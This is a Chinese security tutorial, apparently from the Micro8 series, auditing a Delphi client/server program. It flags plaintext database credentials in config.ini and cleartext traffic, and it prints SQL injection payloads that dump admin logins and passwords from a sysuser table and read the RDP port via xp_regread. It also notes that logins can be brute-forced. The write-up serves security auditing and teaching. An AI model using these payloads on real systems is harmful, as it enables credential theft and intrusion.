专注 APT 攻击与防御—Delphi代码审计

Delphi 代码审计 — 项目实战1

Delphi 代码审计 — 项目实战1

1、Function & Procedure

Delphi 把操作数据的方法分成了两种,一种是 function,另一种是 procedure,大致理解为“函数”和“过程”。
Procedure 类似 C 语言中的无返回值函数,即 VOID。而 Function 就是 C 语言中的有返回值函数,即没有 Void。

第三课:Delphi代码审计—项目实战1 - 图1

2、连接数据库

程序分为两种连接数据库模式:

第三课:Delphi代码审计—项目实战1 - 图2

无论是本地模式,还是联网模式,都是读取,当前路径的 config.ini 配置文件:

(导致敏感信息暴漏,可直连服务器)

第三课:Delphi代码审计—项目实战1 - 图3

继续跟数据库连接:配合SQL Server数据库,直接带入,可以判断出为明文存储。

第三课:Delphi代码审计—项目实战1 - 图4

3、config.ini

config.ini 配置如下:

第三课:Delphi代码审计—项目实战1 - 图5

4、C/S 交互过程

基于TCP通信,SQL Server通信构架大致如下:

(可导致通信过程中抓取明文执行)

第三课:Delphi代码审计—项目实战1 - 图6

5、SQL 注入

代入执行:(导致可拼接sql语句,查询任意语句或者执行命令)

第三课:Delphi代码审计—项目实战1 - 图7

第三课:Delphi代码审计—项目实战1 - 图8

部分语句其中如下:

 
 
  1. select distinct memberid,receivecompany
  2. from weigh where receivecompany is not null and receivecompany like ''%'+xxxxxx+'%''

6、Client

软件呈现如下:

第三课:Delphi代码审计—项目实战1 - 图9

7、构造 SQL 语句

对应收货单位编号,以及收货单位名称。分别为:memberidreceivecompany。闭合语句为:

 
 
  1. 2' ; select loginid as memberid , password as receivecompany from sysuser --

第三课:Delphi代码审计—项目实战1 - 图10

抓取返回如图:

  • 得到admin 账号以及密码。

第三课:Delphi代码审计—项目实战1 - 图11

  • 构造读取远程桌面端口号:得到远程服务器端口号
 
 
  1. 2' ; EXEC master..xp_regread 'HKEY_LOCAL_MACHINE',
  2. 'SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp',
  3. 'PortNumber' --

8、获取缓冲区内容

copy 获取缓冲区内容: (导致可从服务器端构造代码)

第三课:Delphi代码审计—项目实战1 - 图12

copy 用法如下:

copy(a,b,c);
a:就是copy源,就是一个字符串,表示你将要从a里copy一些东西;
b:从a中的第b位开始copy(包含第11位);
c:copy从第b位开始后的c个字符,
exp: m:=‘the test fuck’
s:=copy(m,2,2); //s值为‘he’

当超出范围,会发生异常错误。实例中,从服务器数据库获取数据后进行 copy。

软件登陆部分代码如下:(导致可自动化跑 loginid。)

第三课:Delphi代码审计—项目实战1 - 图13

多次尝试错误处理如下:退出软件,并且重新开始计算。

第三课:Delphi代码审计—项目实战1 - 图14

 文章来源:亿林-黑龙江等保测评,哈尔滨等保托管,等保代办,网络安全,哈尔滨可靠的云安全服务商! (dbpc.cn)
前言 - 《专注 APT 攻击与防御 - Micro8 系列教程》 - 书栈网 · BookStack

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值